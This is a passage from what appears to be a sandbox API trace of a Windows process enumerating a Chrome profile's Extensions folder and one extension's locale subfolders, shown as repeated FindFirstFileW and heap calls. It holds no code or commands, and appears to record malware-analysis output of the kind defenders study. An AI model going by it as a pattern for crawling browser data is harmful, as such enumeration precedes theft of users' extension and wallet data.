dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.819] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0267.820] GetProcessHeap () returned 0x550000 [0267.820] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0267.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0267.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0267.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0267.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0267.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.911] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.911] GetProcessHeap () returned 0x550000 [0267.911] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.911] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.912] GetProcessHeap () returned 0x550000 [0267.912] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.913] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.913] GetProcessHeap () returned 0x550000 [0267.913] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.913] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.914] GetProcessHeap () returned 0x550000 [0267.914] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.915] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.915] GetProcessHeap () returned 0x550000 [0267.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.916] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.917] GetProcessHeap () returned 0x550000 [0267.917] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.918] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.918] GetProcessHeap () returned 0x550000 [0267.918] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.919] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.919] GetProcessHeap () returned 0x550000 [0267.919] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.920] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.921] GetProcessHeap () returned 0x550000 [0267.921] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.922] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.922] GetProcessHeap () returned 0x550000 [0267.922] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.922] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.923] GetProcessHeap () returned 0x550000 [0267.923] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.924] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.924] GetProcessHeap () returned 0x550000 [0267.924] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.924] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.925] GetProcessHeap () returned 0x550000 [0267.925] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.926] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.926] GetProcessHeap () returned 0x550000 [0267.926] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0267.926] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0267.927] GetProcessHeap () returned 0x550000 [0267.927] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0267.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.065] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.080] GetProcessHeap () returned 0x550000 [0268.080] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.080] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.080] GetProcessHeap () returned 0x550000 [0268.080] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.318] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.318] GetProcessHeap () returned 0x550000 [0268.318] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.319] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.319] GetProcessHeap () returned 0x550000 [0268.319] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.517] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.517] GetProcessHeap () returned 0x550000 [0268.517] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.517] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.518] GetProcessHeap () returned 0x550000 [0268.518] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.521] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.521] GetProcessHeap () returned 0x550000 [0268.521] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.522] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.522] GetProcessHeap () returned 0x550000 [0268.522] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0268.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0268.523] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0268.523] GetProcessHeap () 